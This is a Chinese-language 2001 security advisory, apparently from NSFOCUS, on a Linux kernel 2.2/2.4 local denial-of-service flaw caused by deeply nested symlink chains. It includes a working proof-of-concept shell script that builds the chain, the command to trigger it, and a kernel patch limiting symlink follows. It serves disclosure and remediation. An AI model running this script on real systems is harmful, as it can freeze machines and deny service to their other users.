首页 -> 安全研究

安全研究

安全漏洞
Linux kernel 深层链接拒绝服务漏洞

发布日期:2001-10-18
更新日期:2001-10-19

受影响系统:

Linux kernel 2.2.x, x<=19
Linux kernel 2.4.y, y<=9
不受影响系统:

Linux kernel 2.4.12
描述:

Linux kernel的某些版本中存在一个漏洞,当处理一个深层链接的目录时,将消耗大量的
CPU时间,其他进程将无法继续运行。

这可能允许本地攻击者进行拒绝服务攻击。

<*来源:Rafal Wojtczuk (nergal@7bulls.com)
  链接:http://archives.neohapsis.com/archives/bugtraq/2001-10/0135.html
*>



测试方法:

警 告

以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!


Rafal Wojtczuk (nergal@7bulls.com)提供了如下测试代码:

*** mkdir.sh ***
#!/bin/sh
# by Nergal
mklink()
{
IND=$1
NXT=$(($IND+1))
EL=l$NXT/../
P=""
I=0
while [ $I -lt $ELNUM ] ; do
        P=$P"$EL"
        I=$(($I+1))
done
ln -s "$P"l$2 l$IND
}

#main program

if [ $# != 1 ] ; then
    echo A numerical argument is required.
    exit 0
fi


ELNUM=$1

mklink 4
mklink 3
mklink 2
mklink 1
mklink 0 /../../../../../../../etc/services
mkdir l5
mkdir l

攻击者可以通过mkdir.sh 120来创建120层目录,然后调用'head l0'命令来进行攻击。


建议:

厂商补丁:

Linux kernel 2.4.12已经解决了这一问题,您可以在厂商主页下载最新升级版本:
http://www.kernel.org/pub/linux/kernel/v2.4/linux-2.4.12.tar.gz

对于Linux kernel 2.2.19, Rafal Wojtczuk (nergal@7bulls.com)提供
了如下补丁:

--- linux-2.2.19/fs/namei.c.orig    Wed Oct 10 09:31:37 2001
+++ linux-2.2.19/fs/namei.c    Wed Oct 10 10:30:56 2001
@@ -277,6 +277,15 @@
         result->d_op->d_revalidate(result, flags);
     return result;
}
+/*
+ * Yes, this really increments the link_count by 5, and
+ * decrements it by 4. Together with checking against 25,
+ * this limits recursive symlink follows to 5, while
+ * limiting consecutive symlinks to 25.
+ *
+ * Without that kind of total limit, nasty chains of consecutive
+ * symlinks can cause almost arbitrarily long lookups.
+ */

static struct dentry * do_follow_link(struct dentry *base, struct dentry *dentry, unsigned int follow)
{
@@ -284,13 +293,17 @@

     if ((follow & LOOKUP_FOLLOW)
         && inode && inode->i_op && inode->i_op->follow_link) {
-        if (current->link_count < 5) {
+        if (current->link_count < 25) {
             struct dentry * result;

-            current->link_count++;
+            if (current->need_resched) {
+                current->state = TASK_RUNNING;    
+                schedule();
+            }
+            current->link_count += 5;
             /* This eats the base */
-            result = inode->i_op->follow_link(dentry, base, follow);
-            current->link_count--;
+            result = inode->i_op->follow_link(dentry, base, follow|LOOKUP_INSYMLINK);
+            current->link_count -= 4;
             dput(dentry);
             return result;
         }
@@ -324,6 +337,8 @@
     struct dentry * dentry;
     struct inode *inode;

+    if (!(lookup_flags & LOOKUP_INSYMLINK))
+        current->link_count=0;
     if (*name == '/') {
         if (base)
             dput(base);
--- linux-2.2.19/include/linux/fs.h.orig    Wed Oct 10 10:06:41 2001
+++ linux-2.2.19/include/linux/fs.h    Wed Oct 10 10:07:58 2001
@@ -872,6 +872,7 @@
#define LOOKUP_DIRECTORY    (2)
#define LOOKUP_SLASHOK        (4)
#define LOOKUP_CONTINUE        (8)
+#define LOOKUP_INSYMLINK    (16)

extern struct dentry * lookup_dentry(const char *, struct dentry *, unsigned int);
extern struct dentry * __namei(const char *, unsigned int);

您需要重新编译并替换原有内核,重新启动系统。

浏览次数:3856
严重程度:0(网友投票)
本安全漏洞由绿盟科技翻译整理,版权所有,未经许可,不得转载
绿盟科技给您安全的保障